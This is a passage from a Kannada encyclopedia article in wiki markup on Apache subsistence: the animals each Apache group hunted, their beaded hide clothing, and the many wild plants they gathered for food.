ಕೆಟ್ಟ ಪ್ರಾಣಿ)ದ್ಧು ಎಂದು ಪರಿಗಣಿಸುತ್ತಾರೆ.<ref>ಬ್ರುಗ್ಗೆ, ಪು.494</ref><ref>ಲ್ಯಾಂಡರ್</ref> ಪಶ್ಚಿಮ ಅಪಾಚೆಗಳು ಜಿಂಕೆಯನ್ನು ಮತ್ತು ಪ್ರಾಂಗ್ಹಾರ್ನ್(ಜಿಂಕೆಯಂಥ ಕೂದಲಿರುವ ಪ್ರಾಣಿ)ಗಳನ್ನು ಹೆಚ್ಚು ಪ್ರಶಸ್ತವಾದ ಋತುವಿನ ಕೊನೆಯಲ್ಲಿ ಬೇಟೆಯಾಡುತ್ತಾರೆ. ನವೆಂಬರ್ ಸುಮಾರಿಗೆ ಮಾಂಸವು ಒಣಗಿ ಸುಕ್ಕುಗಟ್ಟಿದಾಗ ಕೃಷಿ ಪ್ರದೇಶದಿಂದ ಪರ್ವತದ ತೊರೆಗಳ ತೀರಕ್ಕೆ ವಲಸೆ ಆರಂಭವಾಗುತ್ತದೆ. ಚಳಿಗಾಲದ ಶಿಬಿರಗಳು ಸಾಲ್ಟ್, ಬ್ಲಾಕ್, ಗಿಲಾ ನದಿ ಮತ್ತು ಕೋಲೋರಡೋ ನದಿಕಣಿವೆಗಳಲ್ಲಿ ಶಿಬಿರ ತಲೆಎತ್ತುವುದು. ಚಿರಿಕಹುಆಗಳ ಮೊದಲ ಆಟವೆಂದರೆ ಜಿಂಕೆಯನ್ನು ಫ್ರಾಂಗ್ಹಾರ್ನ್ ಬೆನ್ನಟ್ಟುವುದು. ಇತರ ಆಟಗಳು ಸೇರಿರುವುದು: ಹತ್ತಿಬಾಲದ ಮೊಲಗಳು (ಆದರೆ ಜಾಕ್ ರಾಬಿಟ್ಸ್ ಅಲ್ಲ), ಓಪೋಸಮ್್(ಹೊಟ್ಟೆಯ ಮೇಲೆ ಚೀಲ ಇರುವ ಪ್ರಾಣಿ)ಗಳು, ಅಳಿಲುಗಳು, ಉಳಿಕೆ ಕುದುರೆಗಳು, ಉಳಿಕೆ ಹೇಸರಗತ್ತೆಗಳು, ಸಾರಂಗ (ಎಲ್ಕ್), ಕಾಡು ಹಸು, ಕಾಡು ಇಲಿಗಳು. ಮೆಸ್ಕಲೆರೋ ಮೊತ್ತಮೊದಲಿಗೆ ಜಿಂಕೆಯನ್ನು ಬೇಟೆಯಾಡುವರು. ಅವರು ಬೇಟೆಯಾಡುವ ಇತರ ಪ್ರಾಣಿಗಳು: ದೊಡ್ಡ ಕೊಂಬಿನ ಕುರಿ, ಎಮ್ಮೆಗಳು (ಬಯಲಿಗೆ ಹತ್ತಿರದಲ್ಲಿ ವಾಸಿಸುವವು), ಹತ್ತಿಬಾಲದ ಮೊಲ, ಎಲ್ಕ್, ಕುದುರೆಗಳು, ಹೇಸರಗತ್ತೆಗಳು, ಹೊಟ್ಟೆಯಲ್ಲಿ ಚೀಲ ಇರುವ ಪ್ರಾಣಿ ಒಪೋಸಮ್ಸ್, ಫ್ರಾಂಗ್ಹಾರ್ನ್, ಕಾಡು ಹೋರಿಗರು ಮತ್ತು ಕಾಡು ಇಲಿಗಳು. ಬೀವರ್್ಗಳು, ಮಿನ್ಕ್್ಗಳು (ಮಂಗಸಿಯಂಥ ಪ್ರಾಣಿ), ಮಸ್ಕ್ ರಾಟ್ (ಕಸ್ತೂರಿ ಇಲಿ), ಮತ್ತು ವೀಸೆಲ್ಸ್ (ಮುಂಗಸಿಯಂಥ ಪ್ರಾಣಿ)ಗಳನ್ನು ಅವುಗಳ ಚರ್ಮಕ್ಕಾಗಿ ಮತ್ತು ಅವುಗಳ ಶರೀರದ ಭಾಗಗಳಿಗಾಗಿ ಬೇಟೆಯಾಡುತ್ತಾರೆ. ಆದರೆ ಅವುಗಳನ್ನು ತಿನ್ನುವುದಿಲ್ಲ. ಜಿಕಾರಿಲ್ಲಾಗಳ ಪ್ರಮುಖ ಶಿಕಾರಿ ಪ್ರಾಣಿಗಳು ದೊಡ್ಡಕೊಂಬಿನ ಕುರಿ, ಎಮ್ಮೆಗಳು, ಜಿಂಕೆ, ೆಲ್ಕ್ ಮತ್ತು ಪ್ರಾಂಗ್ಹಾರ್ನ್. ಇತರ ಆಟದ ಪ್ರಾಣಿಗಳಲ್ಲಿ ಬೀವರ್, ದೊಡ್ಡಕೊಂಬಿನ ಕುರಿಗಳು, ಚೀಫ್ ಹೇರ್ಸ್, ಚಿಪ್್ಮಂಕ್ಸ್, ಡೋವ್ಸ್, ಗ್ರೌಂಡ್ ಹಾಗ್ಸ್, ಗ್ರೌಸ್, ಪೆಕರೀಸ್, ಪೋರ್ಕುಪಿನ್ಸ್, ಪ್ರೈರಿ ಡಾಗ್, ಕ್ವಿಲ್, ಮೊಲಗಳು, ಸ್ಕಂಕ್ಸ್, ಸ್ನೋಬರ್ಡ್, ಅಳಿಲು, ಕೋಳಿಗಳು ಮತ್ತು ಕಾಡು ಇಲಿಗಳು ಸೇರಿವೆ. ಕತ್ತೆ ಮತ್ತು ಕುದುರೆಗಳನ್ನು ತುರ್ತುಪರಿಸ್ಥಿತಿಗಳಲ್ಲಿ ಮಾತ್ರ ತಿನ್ನುವರು. ಮಿಂಕ್ಸ್, ವೀಸೆಲ್ಸ್, ಕಾಡುಬೆಕ್ಕು ಮತ್ತು ತೋಳಗಳನ್ನು ತಿನ್ನುವುದಿಲ್ಲ. ಆದರೆ ಅವಗಳ ಶರೀರದ ಭಾಗಗಳಿಗಾಗಿ ಅವುಗಳನ್ನು ಬೇಟೆಯಾಡುತ್ತಾರೆ. ಲಿಪಾನ್್ಗಳ ಪ್ರಮುಖ ಆಹಾರ ಎಮ್ಮೆಗಳು. ಬೇಸಿಗೆಯಲ್ಲಿ ನಡೆಯುವ ಮುಂದುವರಿಯುವ ದೊಡ್ಡ ಮತ್ತು ಸಣ್ಣ ಬೇಟೆಗಳಲ್ಲಿ ಇದನ್ನು ಬೇಟೆಯಾಡುವರು. ಎರಡನೆ ಅತ್ಯಧಿಕ ಬಳಕೆಗೆ ಬರುವ ಪ್ರಾಣಿ ಜಿಂಕೆಗಳು. ಉತ್ತಮ ಆರೋಗ್ಯಕ್ಕಾಗಿ ಜಿಂಕೆಯ ತಾಜಾ ರಕ್ತವನ್ನು ಕುಡಿಯುತ್ತಿದ್ದರು. ಇತರ ಪ್ರಾಣಿಗಳಲ್ಲಿ ಬೀವರ್್ಗಳು, ಬಿಗ್್ಹಾರ್ನ್ಸ್, ಕಪ್ಪು ಕರಡಿ, ಬರ್ರೋಸ್, ಡಕ್ಸ್, ಎಲ್ಕ್, ಮೀನು, ಕುದುರೆಗಳು, ಪರ್ವತ ಸಿಂಹಗಳು, ಮೌರ್ನಿಂಗ್ ಡೋವ್ಸ್, ಹೇಸರಗತ್ತೆ, ಪ್ರೇರಿ ಡಾಗ್ಸ್, ಪ್ರಾಂಗ್ಹಾರ್ನ್, ಕ್ವಿಲ್, ಮೊಲಗಳು, ಅಳಿಲುಗಳು, ಕೋಳಿಗಳು, ಆಮೆಗಳು ಮತ್ತು ಕಾಡು ಇಲಿಗಳು ಸೇರಿವೆ. ಸ್ಕಂಕ್್ಗಳನ್ನು ತುರ್ತುಪರಿಸ್ಥಿತಿಗಳಲ್ಲಿ ಮಾತ್ರ ತಿನ್ನುವರು. ಬಯಲು ಅಪಾಚೆಗಳು ಬೇಟೆಗಾರರು ಮೊದಲಿಗೆ ಹುಡುಕುವುದು ಎಮ್ಮೆಗಳು ಮತ್ತು ಜಿಂಕೆಗಳನ್ನು ಬೇಟೆಯಾಡುವ ಇತರ ಪ್ರಾಣಿಗಳು ಬಾಡ್ಗರ್್ಗಳು, ಕರಡಿಗಳು, ಬೀವರುಗಳು, ಫೌಲ್್ಗಳು, ಬಾತುಕೋಳಿಗಳು, ಒಪೋಸ್ಯುಮ್್ಗಳು, ಒಟ್ಟರ್್ಗಳು, ಮೊಲಗಳು ಮತ್ತು ಆಮೆಗಳು. == ಉಡುಪು == ಬಯಲು ಇಂಡಿಯನ್ನರಿಂದ ಪ್ರಭಾವಿತರಾದ ಪಶ್ಚಿಮದ ಅಪಾಚೆಗಳು ಪ್ರಾಣಿಗಳ ಚರ್ಮವನ್ನು ಬೀಜಗಳ ಮಣಿಗಳಿಂದ ಅಲಂಕರಿಸಿ ಉಡುಪನ್ನಾಗಿ ಮಾಡಿಕೊಂಡು ಧರಿಸುವರು. ಈ ಮಣಿಗಳಿಂದ ಮಾಡುವ ವಿನ್ಯಾಸವು ಐತಿಹಾಸಿಕವಾಗಿ ಗ್ರೇಟ್ ಬಾಸಿನ್ ಪೈಯುಟೆಗೆ ಹೋಲುತ್ತದೆ ಮತ್ತು ರೇಖಾತ್ಮಕ ವಿನ್ಯಾಸದ ಮಾದರಿಯನ್ನು ಹೊಂದಿದೆ. ಅಪಾಚೆಯ ಮಣಿಗಳನ್ನು ಕೂಡಿಸಿದ ಬಟ್ಟೆಯ ಅಂಚು ಪಟ್ಟಿಯನ್ನು ಗಾಜಿನ ಮಣಿಸಾಲನ್ನು ಕತ್ತರಿಯಾಕಾರದಲ್ಲಿ ಜೋಡಿಸಿ ಒಂದು ಬಣ್ಣದ ಬಳಿಕ ಇನ್ನೊಂದು ಬಣ್ಣ ಬರುವಂತೆ ಮಾಡಿರುತ್ತಾರೆ. ಇದು ಅವರ ಬಯಲು ಪ್ರದೇಶದ ಮೂಲನಿವಾಸಿ ನೆರೆಯವರ ರೀತಿಗೆ ಸಮನಾಗಿ ಇರುತ್ತದೆ. ಜಿಂಕೆ, ಮೋಲ, ಹಿಮಸಾರಂಗ, ಇಲಿ ಮೊದಲಾದವುಗಳ ಚರ್ಮದಿಂದ ಅವರು ಅಂಗಿಗಳನ್ನು, ನಿಲುವಂಗಿಗಳನ್ನು, ಸ್ಕರ್ಟ್್ಗಳನ್ನು ಮತ್ತು ಪಾದರಕ್ಷೆಗಳು ಮತ್ತು ತಯಾರಿಸುತ್ತಿದ್ದರು ಮತ್ತು ಅವುಗಳಿಗೆ ಅಂಚುಗಳನ್ನು ಮಾಡಿ ಸಿಂಗರಿಸುತ್ತಿದ್ದರು.<ref>http://americanindianoriginals.com/apache-jewelry-western.html</ref> ==== ದೇಶೀಯವಲ್ಲದ ಸಸ್ಯಗಳು ಮತ್ತು ಇತರ ಆಹಾರ ಮೂಲಗಳು ==== [[ಚಿತ್ರ:Apache girl with basket.jpg|thumb|left|188px|ಬಾಸ್ಕೆಟ್ ಜೊತೆ ಅಪಾಚೆ ಹುಡುಗಿ, 1902]] ಸಸ್ಯಗಳನ್ನು ಮತ್ತು ಇತರ ಆಹಾರಗಳನ್ನು ಸಂಗ್ರಹಿಸುವುದು ಮೂಲತಃ ಮಹಿಳೆಯರ ಕೆಲಸ ಹೀಗಿದ್ದರೂ ಭಾರವಾದ ಅಗಾವೆ ತಲೆ ಸಂಗ್ರಹಿಸುವಂಥ ಕೆಲವು ಚಟುವಟಿಕೆಗಳಲ್ಲಿ ಗಂಡಸರು ನೆರವಾಗುತ್ತಾರೆ. ಅನೇಕ ಸಸ್ಯಗಳನ್ನು ಅವುಗಳ ಪೌಷ್ಠಿಕತೆಗಾಗಿಯ ಬಳೆಯಿಂದ ಹೊರತು ಪಡಿಸಿ ಔಷಧಕ್ಕಾಗಿ ಮತ್ತು ಧಾರ್ಮಿಕ ಸಮಾರಂಭಗಳಲ್ಲಿ ಬಳಸುತ್ತಾರೆ. ಇತರ ಸಸ್ಯಗಳನ್ನು ಅವುಗಳ ಧಾರ್ಮಿಕ ಮತ್ತು ಔಷಧೀಯ ಮೌಲ್ಯಕ್ಕಾಗಿ ಮಾತ್ರ ಬಳಸುತ್ತಾರೆ. ಮೇ ತಿಂಗಳಿನಲ್ಲಿ ಪಶ್ಚಿಮ ಅಪಾಚೆಯವು ಕತ್ತಾಳೆ ತಲೆಗಳನ್ನು ಸುಟ್ಟು ಒಣಗಿಸುತ್ತಾರೆ. ಅವುಗಳನ್ನು ಪುಡಿಯಾಗುವ ಹಾಗೆ ಕುಟ್ಟುತ್ತಾರೆ. ಮತ್ತು ಚೌಕಾಕಾರದ ಕೇಕ್ ಮಾಡುತ್ತಾರೆ. ಜೂನ್ ಕೊನೆ ಮತ್ತು ಜುಲೈ ಆರಂಭದಲ್ಲಿ ಸಗುರಾವೋ, ಮುಳ್ಳು ಪೇರಲೆ, ಮತ್ತು ಚೊಲ್ಲ ಹಣ್ಣುಗಳನ್ನು ಸಂಗ್ರಹಿಸುತ್ತಾರೆ. ಜುಲೈ ಮತ್ತು ಆಗಸ್ಟ್್ನಲ್ಲಿ, ಮೆಸ್ಕೀಟ್ ಬೀನ್ಸ್, ಸ್ಪಾನೀಶ್ ಬೇಯೋನೆಟ್ {{dn}} ಹಣ್ಣು, ಮತ್ತು ಎಮೋರಿ ಓಕ್ ಓಕ್ ಮರದ ಹಣ್ಣುಗಳನ್ನು ಸಂಗ್ರಹಿಸುತ್ತಾರೆ. ಸೆಪ್ಟೆಂಬರ್ ಕೊನೆಯಲ್ಲಿ, ಸಂಗ್ರಹಿಸುವ ಕಾರ್ಯವನ್ನು ನಿಲ್ಲಿಸುತ್ತಾರೆ ಮತ್ತು ಅವರ ಗಮನ ಬೇಸಾಯ ಮತ್ತು ಕೃಷಿ ಬೆಳೆಯ ಕಡೆ ತಿರುಗುತ್ತದೆ. ಋತುವಿನ ಕೊನೆಯಲ್ಲಿ, ಶಂಕುಫಲಿ ಸಸ್ಯವರ್ಗದ ಹಣ್ಣುಗಳು ಮತ್ತು ಪಿನಿಯೋನ್ ಕಾಯಿ ಗಳನ್ನು ಸಂಗ್ರಹಿಸುವರು. ಚಿರಿಕಹುಆಗಳು ಬಳಸುವ ಬಹು ಮುಖ್ಯವಾದ ಆಹಾರ ಸಸ್ಯವೆಂದರೆ ಸೆಂಚುರಿ ಪ್ಲಾಂಟ್ (ಇದನ್ನುಮೆಸ್ಕಲ್ (ಕಳ್ಳಿಗಿಡ) ಅಥವಾ ಕತ್ತಾಳೆ ಎಂದೂ ಕರೆಯುತ್ತಾರೆ). (ಲಾಳಿಕೆ ಗಿಡದ ತಳ ಭಾಗವನ್ನು) ಈ ಸಸ್ಯದ ತಲೆಯನ್ನು (ಇವನ್ನು ಭೂಗತ ಒಲೆಗಳಲ್ಲಿ ಇವರು ಸುಡುತ್ತಾರೆ ಮತ್ತು ಸೂರ್ಯನ ಬಿಸಿಲಿನಲ್ಲಿ ಒಣಗಿಸುತ್ತಾರೆ.) ಮತ್ತು ಇದರ ಕುಡಿಗಳನ್ನೂ ಬಳಸುತ್ತಾರೆ. ಚಿರಿಕಹುಆಗಳು ಬಳಸಿಕೊಳ್ಳುವ ಇತರ ಸಸ್ಯಗಳಲ್ಲಿ ಇವೂ ಸೇರಿವೆ. : ಅಗಾರಿಟಾ (ಅಥವಾ ಅಲ್ಗೆರಿಟಾ) ಹಣ್ಣುಗಳು, ಅಲಿಗೇಟರ್ ಜುನಿಪರ್ ಹಣ್ಣುಗಳು, ಏಂಜೆಲ್್ಪೋಡ್ ಬೀಜಗಳು, ಬನಾನಾ ಯುಕ್ಕಾ (ಅಥವಾ ಡಾಟಿಲ್, ಅಗಲ ಎಲೆಯ ಯುಕ್ಕಾ) ಹಣ್ಣು, ಕಾಳು ಮೆಣಸು, ಚೋಕೆಚೆರಿಸ್, ಕೋಟಾ (ಚಹಾಕ್ಕೆ ಬಳಸುವರು), ಕರಂಟ್್ಗಳು{{dn}}, ಡ್ರಾಪ್್ ಸೀಡ್ ಗ್ರಾಸ್ ಸೀಡ್್ಗಳು, ಗಂಬೆಲ್ ಓಕ್ ಓಕ್್ಮರದ ಹಣ್ಣು, ಗಂಬೆಲ್ ಓಕ್ ಬಾರ್ಕ್ (ಚಹಾಕ್ಕೆ ಬಳಸುವರು), ಗ್ರಾಸ್ ಸೀಡ್ಸ್ (ವಿಭಿನ್ನ ಬಗೆಯವು), ಗ್ರೀನ್ಸ್ (ವಿಭಿನ್ನ ಬಗೆಯವು), ಹ್ಯಾವ್್ಥ್ರೋನ್ ಹಣ್ಣು, ಲ್ಯಾಂಬ್ಸ್-ಕ್ವಾರ್ಟರ್ಸ್ ಎಲೆಗಳು, ಲಿಪ್ ಫೆರ್ನ್ಸ್ (ಚಹಾಕ್ಕೆ ಬಳಸುತ್ತಾರೆ), ಲಿವ್ ಓಕ್ ಓಕ್ ಹಣ್ಣುಗಳು, ಲೋಕಸ್ಟ್ ಹೂವುಗಳು, ಲೋಕಸ್ಟ್ ಕೋಡುಗಳು, ಮೆಕ್ಕೆಜೋಳದ ಕುಂಡಗಳು ( ಟಿಸ್ವಿನ್್ಗೆಬಳಸುತ್ತಾರೆ) ,ಮೆಸ್ಕಿಟೋ ಬೀನ್್ಗಳು, ಮುಲ್್ಬೆರ್ರಿಯರ್, ಸಪೂರು ಎಲೆಯ ಯುಕ್ಕಾ ಹೂಗಳು, ಸಪೂರು ಎಲೆಯ ಯುಕ್ಕಾದ ಕಾಂಡ, ಮೊಲೆತೊಟ್ಟಿನಾಕಾರದ ಕಳ್ಳಿ ಹಣ್ಣು, ಒಂದೇ-ಬೀಜದಜುನಿಪರ್ ಹಣ್ಣುಗಳು, ಈರುಳ್ಳಿಗಳು, ಪಿಗ್್ವೀಡ್{{dn}} ಬೀಜಗಳು, ಪಿನ್ಯೋನ್ ಕಾಯಿಗಳು, ಪಿಟಾಹಯಾ ಹಣ್ಣು, ಮಳ್ಳಿನಿಂದ ಕೂಡಿದ ಪೇರಲೆ ಹಣ್ಣು, ಮುಳ್ಳು ಪೇರಲೆಹಣ್ಣಿನ ರಸ, ರಾಸ್್ಬೆರ್ರಿಗಳು, ಸ್ಕ್ರೂ ಬೀನ್ (ಅಥವಾ ಟೋರ್ನಿಲೋ)ಹಣ್ಣು, ಸಗುರಾವೋ ಹಣ್ಣು, ಸ್ಪರ್ಜ್ ಬೀಜಗಳು, ಸ್ಟ್ರಾಬೆರ್ರಿಗಳು, ಸುಮಾಕ್ (''ರುಸ್ ಮೈಕ್ರೋಕಾರ್ಪಿಯಾ'' ) ಹಣ್ಣುಗಳು, ಸೂರ್ಯಕಾಂತಿ ಬೀಜಗಳು, ತುಲೆ ರೂಟ್ಸ್ ಸ್ಟಾಕ್ಗಳು, ತುಲೆ ಶೂಟ್ಸ್, ಪಿಗ್್ವೀಡ್ ಟಂಬಲ್್ವೀಡ್ ಬೀಜಗಳು, ಯುನಿಕಾರ್ನ್ ಪ್ಲಾಂಟ್ ಬೀಜಗಳು, ವಾಲ್್ನಟ್ಸ್, ವೆಸ್ಟರ್ನ್ ಯೆಲ್ಲೋ ಪಿನೆಯ ಒಳ ಚರ್ಮ (ಸಿಹಿ ಸ್ವಾದಕ್ಕೆ ಬಳಸುತ್ತಾರೆ), ವೆಸ್ಟರ್ನ್ ಯೆಲ್ಲೋ ಪಿನೆ ನಟ್ಸ್, ವೈಟ್್ಸ್ಟಾರ್ ಆಲೂಗಡ್ಡೆ (''ಇಪೊಮೋಯಾ ಲಕುನೋಸಾ'' ), ಕಾಡು ದ್ರಾಕ್ಷಿಗಳು{{dn}}, ಕಾಡು ಬಟಾಟೆಗಳು (''ಸೋನಲಾನಂ ಜಮೆಸಿ'' ), ವುಡ್ ಸೋರೆಲ್ ಎಲೆಗಳು, ಮತ್ತು ಯುಕ್ಕಾ ಮೊಗ್ಗುಗಳು (ಗೊತ್ತಿಲ್ಲದ ಸಾಂಬಾರುಪದಾರ್ಥಗಳು). ಇದರಲ್ಲಿರುವ ಇತರ ವಸ್ತುಗಳು: ನೆಲದಲ್ಲಿರುವ ಜೇನು ಮತ್ತು ಕತ್ತಾಳೆಯಲ್ಲಿ ಕಟ್ಟಿದ ಜೇನುಗೂಡುಗಳಿಂದ ಸಂಗ್ರಹಿಸಿದ್ದು, ಸೋಟೋಲ್, ಮತ್ತು ಸಪೂರು ಎಲೆಯ ಯುಕ್ಕಾ ಗಿಡಗಳು. ಸಮೃದ್ಧವಾದ ಕತ್ತಾಳೆ (ಮೆಸ್ಕಲ್) ಕೂಡ <ref>''ಮೆಸ್ಕಲೆರೋ'' ಹೆಸರು ವಾಸ್ತವವಾಗಿ ''ಮೆಸ್ಕಲ್ '' ಹೆಸರಿನಿಂದ ತಂದಿದ್ದು.ಅವರು ಆಹಾರವಾಗಿ ಬಳಸುವ ಸಸ್ಯವೊಂದಕ್ಕೆ ಅದನ್ನು ಹೇಳುವರು.</ref> ಮೆಸ್ಕಲೆರೋಗೆ ಮುಖ್ಯ. ಅವರು ಇದರ ತಲೆಗಳನ್ನು ಹಳದಿ ಹೂವಿನ ದಂಟುಗಳು ಮೇಲೆದ್ದ ಬಳಿಕ ವಸಂತಋತುವಿನ ನಂತರ ಸಂಗ್ರಹಿಸುವರು. ಚಿಕ್ಕದಾದ ಸೋಟೋಲ್ ತಲೆಗಳೂ ಪ್ರಮುಖವಾದವೇ ಎರಡೂ ಸಸ್ಯಗಳ ೆರಡೂ ತಲೆಗಳನ್ನು ಸುಟ್ಟು ಒಣಗಿಸುತ್ತಾರೆ. ಇದರಲ್ಲಿ ಸೇರಿರುವ ಇತರ ಸಸ್ಯಗಳು: ಓಕ್್ ಮರದ ಹಣ್ಣುಗಳು, ಅಗಾರಿಟಾ ಹಣ್ಣುಗಳು, ಅಮೋಲ್ ಕಾಂಡಗಳು (ಹುಲಿಯುತ್ತಾರೆ ಮತ್ತು ಸಿಪ್ಪೆ ಸುಲಿಯುತ್ತಾರೆ), ಆಸ್ಪೆನ್ ಒಳ ತೊಗಟೆ (ಸಿಹಿಗೋಸ್ಕರ ಬಳಸುವರು), ಕರಡಿಹುಲ್ಲು ಕಟ್ಟಿಗಳು (ಹುರಿಯುತ್ತಾರೆ ತ್ತು ಸಿಪ್ಪೆ ಸುಲಿಯುತ್ತಾರೆ), ಬಾಕ್ಸ್ ಎಲ್ಡರ್ ಒಳ ತೊಗಟೆ (ಸಿಹಿಗೋಸ್ಕರ ಬಳಸುವರು), ಬಾಳೆಹಣ್ಣಿನ ಯುಕ್ಕಾ ಹಣ್ಣು, ಬಾಳೆಹಣ್ಣಿನ ಯುಕ್ಕಾ ಹೂಗಳು, ಬಾಕ್ಸ್ ಎಲ್ಡರ್ ಸ್ಯಾಪ್ (ಸಿಹಿಗೋಸ್ಕರ ಬಳಸುವರು), ಕಳ್ಳಿ ಹಣ್ಣುಗಳು (ವಿಭಿನ್ನ ವೈವಿಧ್ಯದವು), ಕಾಕ್್ಟೇಲ್ ರೂಟ್ಸ್್ ಸ್ಟಾಕ್ಸ್, ಚೋಕೆಚೆರಿಸ್, ಕರಂಟ್ಸ್, ಡ್ರಾಪ್ ಸೀಡ್ ಗ್ರಾಸ್ ಸೀಡ್ಸ್ (ಫ್ಲ್ಯಾಟ್ ಬ್ರೆಡ್ಗೆ ಬಳಸುತ್ತಾರೆ), ಎಲ್ಡರ್್ಬೆರ್ರಿಸ್, ಗೂಸ್್ಬೆರ್ರಿಸ್, ದ್ರಾಕ್ಷಿಗಳು, ಹ್ಯಾಕರ್್ಬೆರ್ರಿಸ್, ಹಾವ್್ಥ್ರೋನ್ ಫ್ರುಟ್, ಹೋಪ್ಸ್ (ವ್ಯಂಜನ ಪದಾರ್ಥದಂತೆ ಬಳಸುವರು), ಹಾರ್ಸ್್ಮಿಂಟ್ (ವ್ಯಂಜನ ಪದಾರ್ಥದಂತೆ ಬಳಸುವರು), ಜುನಿಪರ್ ಹಣ್ಣುಗಳು, ಲ್ಯಾಂಬ್ಸ್-ಕ್ವಾರ್ಟರ್ಸ್ ಲೀವ್ಸ್, ಲೋಕಸ್ಟ್ ಹೂಗಳು, ಲೋಕಸ್ಟ್ ಮೊಗ್ಗುಗಳು, ಮೆಸ್ಕ್ವಿಟ್ ಮೊಗ್ಗುಗಳು, ಪುದಿನ (ವ್ಯಂಜನ ಪದಾರ್ಥದಂತೆ ಬಳಸುವರು), ಮುಲ್ಬೆರಿಸ್, ಪೆನಿರೋಯಾಲ್ (ವ್ಯಂಜನದಂತೆ ಬಳಸುವರು), ಪಿಗ್್ವೀಡ್ ಸೀಡ್ಸ್ (ಫ್ಲ್ಯಾಟ್ ಬ್ರೆಡ್್ಗೆ ಬಳಸುವರು), ಪೈನ್ ಒಳ ತೊಗಟೆ (ಸಿಹಿಗೋಸ್ಕರ ಬಳಸುವರು), ಪಿನಿಯೋನ್ ಪೈನ್ ಕಾಯಿ, ಮುಳ್ಲು ಪೇರಲೆ ಹಣ್ಣು (ಮುಳ್ಳು ತೆಗೆಯುವರು ಮತ್ತು ಹುರಿಯುವರು), ಪರ್್ಸ್ಲೇನ್{{dn}} ಎಲೆಗಳು, ರಾಸ್್ಬೆರ್ರಿಸ್, ಸೇಜ್ (ವ್ಯಂಜನ ಪದಾರ್ಥದಂತೆ ಬಳಸುವರು), ಸ್ಕ್ರ್ಯೂ ಬೀನ್ಸ್, ಸೆಡ್ಜ್ ಟ್ಯೂಬರ್ಸ್, ಶೆಪರ್ಡ್ಸ್ ಪರ್ಸ್ ಎಲೆಗಳು, ಸ್ಟ್ರಾಬೆರ್ರಿಸ್, ಸೂರ್ಯಕಾಂತಿ ಬೀಜಗಳು, ಟ್ರಂಬಲ್್ವೀಡ್ ಸೀಡ್ಸ್ (ಫ್ಲ್ಯಾಟ್ ಬ್ರೆಡ್್ನಲ್ಲಿ ಬಳಸುವರು), ವೆಟ್ಚ್ ಮೊಗ್ಗುಗಳು, ವಾಲ್್ನಟ್ಸ್, ವೆಸ್ಟರ್ನ್ ವೈಟ್ ಪೈನ್ ನಟ್ಸ್, ವೆಸ್ಟರ್ನ್ ಯೆಲ್ಲೋ ಪೈನ್ ನಟ್ಸ್, ವೈಟ್ ಇವನಿಂಗ್ ಪ್ರಿಮ್್ರೋಸ್ ಫ್ರುಟ್, ವೈಲ್ಡ್್ ಸೆಲರಿ (ವ್ಯಂಜನ ಪದಾರ್ಥದಂತೆ ಬಳಸುವರು), ಕಾಡು ಈರುಳ್ಳಿ{{dn}} (ವ್ಯಂಜನ ಪದಾರ್ಥದಂತೆ ಬಳಸುವರು), ಕಾಡು ಪಿಯಾ ಮೊಗ್ಗು, ಕಾಡು ಬಟಾಟೆಗಳು, ಮತ್ತು ವುಡ್ ಸೊರೆಲ್ ಎಲೆಗಳು. ಜಿಕಿರಾಲ್ಲಾ ಓಕ್ ಮರದ ಹಣ್ಣುಗಳನ್ನು, ಚೋಕೆಚೆರಿಸ್, ಜುನಿಪರ್ ಹಣ್ಣುಗಳನ್ನು, ಮೆಸ್ಕ್ವಿಟ್ ಬೀನ್ಸ್, ಪಿನಿಯೋನ್ ನಟ್ಸ್, ಮುಳ್ಳು ಪೇರಲ ಹಣ್ಣು ಮತ್ತು ಯುಕ್ಕಾ ಹಣ್ಣುಗಳನ್ನು ಮತ್ತು ಇನ್ನೂ ಅನೇಕ ವಿವಿಧ ರೀತಿಯ ಹಣ್ಣುಗಳನ್ನು, ಓಕ್ ಹಣ್ಣುಗಳನ್ನು, ಸೊಪ್ಪುಗಳನ್ನು, ಕಾಯಿಗಳನ್ನು ಮತ್ತು ಹುಲ್ಲಿನ ಬೀಜಗಳನ್ನು ಬಳಸುತ್ತಾರೆ. ಲಿಪಾನ್್ಗಳು ಬಳಸುತ್ತಿದ್ದ ಅತ್ಯಂತ ಮಹತ್ವದ ಸಸ್ಯ ಆಹಾರವೆಂದರೆ ಕತ್ತಾಲೆ(ಮೆಸ್ಕಲ್) ಆಗಿತ್ತು. ಮತ್ತೊಂದು ಪ್ರಮುಖ್ಯ ಸೋಟೋಲ್ ಲಿಪಾನ್್ಗಳು ಬಳಸುತ್ತಿದ್ದ ಇತರ ಪ್ರಮುಖ ಸಸ್ಯಗಳಲ್ಲಿ ಇವು ಸೇರಿದ್ದವು: ಅಗಾರಿಟಾ, ಬ್ಲಾಕ್್ಬೆರ್ರಿ,, ಕಾಟೇಲ್ಸ್, ಡೆವಿನ್ಲಸ್ ಕ್ಲೋ, ಎಲ್ಡರ್್ಬೆರ್ರಿಸ್, ಗೂಸ್್ಬೆರ್ರಿಸ್, ಹ್ಯಾಕ್್ಬೆರ್ರಿಸ್, ಹಾವ್್ಥ್ರೋನ್, ಜುನಿಪರ್, ಲಿಂಬ್ಸ್-ಕ್ವಾರ್ಟರ್ಸ್, ಲೋಕಸ್ಟ್, ಮೆಸ್ಕ್ವಿಟೆ, ಮುಲ್್ಬೆರ್ರಿಸ್, ಓಕ್, ಪಾಮ್್ಲೆಟ್ಟೋ, ಪೆಕಾನ್, ಪಿನಿಯೋನ್, ಮುಳ್ಳುಪೇರಲೆ, ರಾಸ್ಪ್್ಬೆರ್ರಿಸ್, ಸ್ಕ್ರೂಬೀನ್ಸ್, ಸೀಡ್್ ಗ್ರಾಸಸ್, ಸ್ಟ್ರೋಬೆರ್ರಿಸ್, ಸುಮಾಕ್, ಸೂರ್ಯಕಾಂತಿ, ಟೆಕ್ಸಾಸ್ ಪ್ರಸಿಮೋನ್ಸ್, ವಾಲ್್ನಟ್ಸ್, ವೆಸ್ಟರ್ನ್ ಯಲ್ಲೋ ಪೈನ್, ಕಾಡು ಚೆರ್ರಿಗಳು, ಕಾಡು ದ್ರಾಕ್ಷಿ, ಕಾಡು ಈರುಳ್ಳಿ, ಕಾಡು ಪ್ಲಮ್ಸ್, ಕಾಡು ಬಟಾಟೆ, ಕಾಡು ಗುಲಾಬಿಗಳು{{dn}}, ಯುಕ್ಕಾ ಹೂಗಳು, ಮತ್ತು ಯುಕ್ಕಾ ಹಣ್ಣು. ಇತರ ವಸ್ತುಗಳಲ್ಲಿ ಇವು ಸೇರಿವೆ: ಗುಹೆಗಳಿಂದ ಪಡೆದ ಉಪ್ಪು 